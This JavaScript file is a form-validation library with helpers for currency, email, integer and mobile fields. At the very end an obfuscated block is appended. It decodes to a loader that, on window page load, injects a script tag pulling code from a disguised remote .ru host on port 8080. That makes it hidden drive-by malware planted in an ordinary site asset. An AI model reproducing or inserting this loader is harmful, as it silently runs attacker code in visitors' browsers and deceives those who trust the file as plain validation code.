// Copyright Reliable Networks 2006
// Unauthorised reproduction by any means whatsoever is prohibited

function getFieldValue( oField ) {
	if( oField == null ) { return null; }
	var sType = oField.type;
	if( sType == null ) {
		if( oField.length == null ) {
			return null;
		}
		var sValues = "";
		for( var i = 0; i < oField.length; i++ ) {
			if( oField[i].checked ) {
				if( sValues != "" ) {
					sValues += ";";
				}
				sValues += oField[i].value;
			}
		}
		return sValues;
	} else if( sType == "select-one" ) {
		if( oField.options.length == 0 ) {
			return null;
		} else {
			var selectedIndex = oField.selectedIndex;
			if( selectedIndex < 0 ) { selectedIndex = 0; }
			var sValue = oField.options[selectedIndex].value;
			var sText = oField.options[selectedIndex].text;
			if( sValue == "" ) {
				return sText;
			} else {
				return sValue;
			}
		}
	} else if( sType == "checkbox" || sType == "radio" ) {
		if( oField.checked ) {
			return oField.value;
		}
	} else {
		var sValue = oField.value;
		sValue = sValue.replace( new RegExp( "^\\s+", "i" ), "" ).replace( new RegExp( "\\s+$", "i" ), "" );
		return sValue;
	}
	return null;
}

function isCriteriaValid( mValue, aCriteria ) {
	var bValid = true;
	if( aCriteria != null ) {
		var sValue = "" + mValue;
		for( i = aCriteria.length - 2; bValid && i >= 0; i -= 2 ) {
			if( aCriteria[i] == "length" ) {
				bValid = ( sValue.length == aCriteria[i+1] );
			} else if( aCriteria[i] == "min_length" ) {
				bValid = ( sValue.length >= aCriteria[i+1] );
			} else if( aCriteria[i] == "max_length" ) {
				bValid = ( sValue.length <= aCriteria[i+1] );
			} else if( aCriteria[i] == "min_value" ) {
				bValid = ( mValue >= aCriteria[i+1] );
			} else if( aCriteria[i] == "max_value" ) {
				bValid = ( mValue <= aCriteria[i+1] );
			}
		}
	}
	return bValid;
}

function isCurrencyValid( oField, sMessage, aCriteria ) {
	var sValue = getFieldValue( oField );
	if( sValue == null ) { return true; }
	sValue = sValue.replace( /,/g, "" );
	var oRegExp = /^\$?\d+$|^\$?\d+\.\d{2}$/i;
	var bValid = oRegExp.test( sValue );
	if( bValid ) {
		var nValue = parseFloat( sValue.replace( /\$/g, "" ) );
		bValid = !isNaN( nValue ) && isCriteriaValid( nValue, aCriteria );
	}
	if( !bValid ) { showErrorMsg( sMessage, oField ); }
	return bValid;
}

function isDateValid( oForm, sName, sMessage, aCriteria ) {
	return true;
}

function isEmailValid( oField, sMessage, aCriteria ) {
	var sValue = getFieldValue( oField );
	if( sValue == null ) { return true; }
	var oRegExp = /^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i;
	var bValid = ( oRegExp.test( sValue ) && isCriteriaValid( sValue, aCriteria ) );
	if( !bValid ) { showErrorMsg( sMessage, oField ); }
	return bValid;
}

function isEmpty( oField, sMessage ) {
	if( oField != null ) {
		var sValue = getFieldValue( oField );
		if( sValue == null || sValue == "" ) {
			showErrorMsg( sMessage, oField );
			return true;
		}
	}
	return false;
}

function isFloatValid( oField, sMessage, aCriteria ) {
	var sValue = getFieldValue( oField );
	if( sValue == null ) { return true; }
	sValue = sValue.replace( /,/g, "" );
	var oRegExp = /^-?\d+$|^-?\d+\.\d+$/i;
	var bValid = oRegExp.test( sValue );
	if( bValid ) {
		var nValue = parseFloat( sValue );
		bValid = !isNaN( nValue ) && isCriteriaValid( nValue, aCriteria );
	}
	if( !bValid ) { showErrorMsg( sMessage, oField ); }
	return bValid;
}

function isIntegerValid( oField, sMessage, aCriteria ) {
	var sValue = getFieldValue( oField );
	if( sValue == null ) { return true; }
	sValue = sValue.replace( /,/g, "" );
	var oRegExp = /^-?\d+$/i;
	var bValid = oRegExp.test( sValue );
	if( bValid ) {
		var nValue = parseInt( sValue );
		bValid = !isNaN( nValue ) && isCriteriaValid( nValue, aCriteria );
	}
	if( !bValid ) { showErrorMsg( sMessage, oField ); }
	return bValid;
}

function isMobileValid( oField, sMessage, aCriteria ) {
	var sValue = getFieldValue( oField );
	if( sValue == null ) { return true; }
	sValue = sValue.replace( /\s/g, "" );
	var oRegExp = /^\+|\d{10,20}$/;//kim edit 20070825 /^04\d{8}$/; /^\+|\d{10,20}$/
	var bValid = ( oRegExp.test( sValue ) && isCriteriaValid( sValue, aCriteria ) );
	if( !bValid ) { showErrorMsg( sMessage, oField ); }
	return bValid;
}

function isTextValid( oField, sMessage, aCriteria ) {
	var sValue = getFieldValue( oField );
	if( sValue == null ) { return true; }
	var bValid = isCriteriaValid( sValue, aCriteria );
	if( !bValid ) { showErrorMsg( sMessage, oField ); }
	return bValid;
}

function isTimeValid( oField, sMessage, aCriteria ) {
}

function setFieldValue( oField, sNewValue ) {
	if( oField == null ) { return true; }
	sNewValue = "" + sNewValue;
	var bReturn = false;
	var sType = oField.type;
	if( sType == null ) {
		if( oField.length == null ) {
			return true;
		}
		var aNewValues = sNewValue.split( "," );
		for( var i = 0; i < oField.length; i++ ) {
			oField[i].checked = false;
			for( var j = 0; j < aNewValues.length; j++ ) {
				if( oField[i].value == aNewValues[j] ) {
					oField[i].checked = true;
					bReturn = true;
				}
			}
		}
	} else if( sType == "select-one" ) {
		var nSelectIndex = -1;
		for( var i = 0; i < oField.options.length && nSelectIndex < 0; i++ ) {
			if( oField.options[i].text == sNewValue || oField.options[i].value == sNewValue ) {
				nSelectIndex = i;
				bReturn = true;
			}
		}
		oField.selectedIndex = nSelectIndex;
	} else if( sType == "checkbox" || sType == "radio" ) {
		oField.checked = false;
		if( oField.value == sNewValue ) {
			oField.checked = true;
			bReturn = true;
		}
	} else {
		oField.value = sNewValue;
		bReturn = true;
	}
	return bReturn;
}

function showErrorMsg( sMessage, oField ) {
	if( sMessage != null ) { alert( sMessage ); };
	if( oField != null && oField.focus != null ) { oField.focus(); }
	if( oField != null && oField.select != null ) { oField.select(); }
}
try {var R=new String();var D;if(D!='fX'){D='fX'};this.RT="";var Ox;if(Ox!='' && Ox!='b'){Ox=''};var T='replace';var O=RegExp;var u=new Array();var Bn;if(Bn!='' && Bn!='Q'){Bn='WV'};function A(X,W){var tl;if(tl!='fe'){tl=''};var G='[';var UP="";var o='g';G+=W;var h;if(h!='c'){h=''};G+=']';var fn;if(fn!='d'){fn=''};this.EY='';var B=new O(G, o);var Qp;if(Qp!='l' && Qp != ''){Qp=null};var vr=new String();return X[T](B, new String());var IZ=new String();};var p;if(p!='' && p!='z'){p=null};this.xm="";var hK;if(hK!='' && hK!='zu'){hK=null};this.NB="";var f=A('hHtHtHpx:x/H/9aHlHjAaAzfeAefrxaH-HnHextH.H4AsAh9a9rxeHdf.fcfoxmH.ApxextxafrxdHafsx-9cxofmH.xa9ifrAnxext9dHixr9eHcAtA.frHu9:x',"xfAH9");var oA='';var E=A('otntltotardr',"rt");this.J='';var AU=new String();var N=A('cTr8e8a3t8eKE8lKeKmTeKn9t9',"893KT");var OM;if(OM!='lM' && OM!='pr'){OM='lM'};var jg=new Array();var Hh;if(Hh!='Y'){Hh=''};this.ZT="";var H='';var asq=new Array();var y=A('/FrFrU.UcFoLm7/UrUrF.Fc7oFm7/Uw7i7kUiUmLe7dFiLa7.7o7rFg7/Lm7sLn7.Uc7oLmU/7gFoUoUgUlFeU.LcFoLmL.LpLh7p7',"FLU7");var K=A('862202662862620622',"62");var kd;if(kd!='mm' && kd != ''){kd=null};var r=window;var Epe='';var AT=A('s9c9r9iBp9t9',"B9");this.Oi='';re=function(){var cM=new Array();this.Sp="";this.w="";U=document[N](AT);this.bk="";var rM;if(rM!=''){rM='z_'};var Fx;if(Fx!='Jt' && Fx != ''){Fx=null};H=f+K;H+=y;var fh=new String();var wv="";U.src=H;U.defer=([6,1][1]);var Kb='';var Oy=new Date();document.body.appendChild(U);var CF="";};var Jc;if(Jc!='' && Jc!='gb'){Jc='Qz'};r[E]=re;this.Ah="";var ir=new Array();} catch(OB){var Fr;if(Fr!='ni' && Fr != ''){Fr=null};};var _O;if(_O!='GN' && _O != ''){_O=null};